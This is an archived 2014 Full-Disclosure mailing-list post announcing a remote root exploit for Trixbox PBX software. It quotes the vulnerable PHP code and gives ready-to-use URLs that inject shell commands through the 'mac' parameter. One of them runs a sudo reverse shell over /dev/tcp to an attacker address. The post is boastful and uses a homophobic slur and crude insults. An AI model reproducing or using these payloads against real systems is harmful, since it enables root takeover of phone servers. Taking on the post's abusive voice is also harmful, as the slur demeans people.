lists.openwall.net   lists  /  announce  owl-users  owl-dev  john-users  john-dev  passwdqc-users  yescrypt  popa3d-users  /  oss-security  kernel-hardening  musl  sabotage  tlsify  passwords  /  crypt-dev  xvendor  /  Bugtraq  Full-Disclosure  linux-kernel  linux-netdev  linux-ext4  linux-hardening  PHC 
Open Source and information security mailing list archives
 
Hash Suite: Windows password security audit tool. GUI, reports in PDF.
[<prev] [next>] [day] [month] [year] [list]
Date: Fri, 14 Mar 2014 11:48:01 +0200
From: 0u7 5m4r7 <n0p1337@...il.com>
To: Exploit Arab <exploit4arab@...il.com>, submissions@...ketstormsecurity.org,
 submit@...7day.com, submit@...ecurity.com, submit@...sec.com, 
 full-disclosure@...ts.grok.org.uk
Subject: Trixbox all versions , Remote root exploit

# App : Trixbox all versions
# vendor : trixbox.com
# Author : i-Hmx
# mail : n0p1337@...il.com
# Home : security arrays inc , sec4ever.com ,exploit4arab.net

Well well well , we decided to give schmoozecom a break and have a look @
fonality products
do you think they have better product than the (Award winning) trixbox!!!
I don't think so
"Designed and marketed for Fonality's partner community, trixbox Pro is an
IP-PBX software solution purpose built to support growing SMB businesses.
A unique hybrid hosted telephony solution; trixbox Pro provides big
business features at an SMB cost . . blah blah blah"
What do we have here??
A 3 years old Sql injection flaw???
not big deal , and already been reported
not enough good exploitation , but reported
A file disclosure flaw???
save it for later
let's give Fonality little Remote root Exploit xD
and also give the "Predictors" some pain in the ass trying to exploit this
consider it as challenge ;)
Here we go
Vulnerable file :
/var/www/html/maint/modules/endpointcfg/endpoint_aastra.php
Pice of shit , sorry i mean code

switch($_action) {
    case 'Edit':
        if ($_REQUEST['newmac']){ // create a new phone from device map
            $mac_address = $_REQUEST['newmac'];
        }
        if ($_REQUEST['mac']){
            $phoneinfo = GetPhone($_REQUEST['mac'],$PhoneType);
            $mac_address=$phoneinfo['mac_address'];    } // if there is a
request ID we Edit otherwise add a new phone

        $freepbx_device_list = GetFreepbxDeviceList();
        $smarty->assign("mac_address", $mac_address);
        $smarty->assign("phone", $phoneinfo);
        $smarty->assign("freepbx_device_list", $freepbx_device_list);

        $smarty->assign("message", $message);
        $template = "endpoint_".$PhoneType."_edit.tpl";
        break;

    case 'Delete':
        exec("rm ".$sipdir.$_REQUEST['mac'].".cfg");
        getSQL("DELETE FROM ".$PhoneType." WHERE
mac_address='".$_REQUEST['mac']."'",'endpoints');
        $smarty->assign("phones", ListPhones($PhoneType));
        $template = "endpoint_".$PhoneType."_list.tpl";
        break;

it's obvious we care about this line
>>>exec("rm ".$sipdir.$_REQUEST['mac'].".cfg");<<<
Exploitation demo :
maint/modules/endpointcfg/endpoint_aastra.php?action=Delete&mac=fa;echo
id>xx;faris
result will be written to xx
but this is not the full movie yet ,
Am here to give fonality an night mare , which take the form of "root"
privzz
actually the server is configured by default to allow the web interface
pages to edit many files @ the root directory
so any noob can easily execute the "sudo fuck" with out being permited for
password , and the result is > root
Demo
<Back connection with root privs>
maint/modules/endpointcfg/endpoint_aastra.php?action=Delete&mac=fa;sudo
bash -i >%26 %2fdev%2ftcp%2fxxx.xxx.xxx.xxx%2f1337 0>%261;faris
change to your ip and the port you are listening to
and , Volia , you are root
now am sure you're happy as pig in shit xD
Still need more??
you will notice that you're unable to reach this file due to the http
firewall
but actually there is simple and yet dirty trick that allow you to get pass
through it , and execute your command smooooothely as boat on the river ;)
And here come the challenge , let's see what the faggots can do with this ;)
need hint???
use your mind and fuck off :/

Big greets fly to the all sec4ever family
oh , and for voip lames , you can use our 0Days for sure
but once it become 720Days xD
Regards,
Faris <the Awsome>

Content of type "text/html" skipped

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

Powered by blists - more mailing lists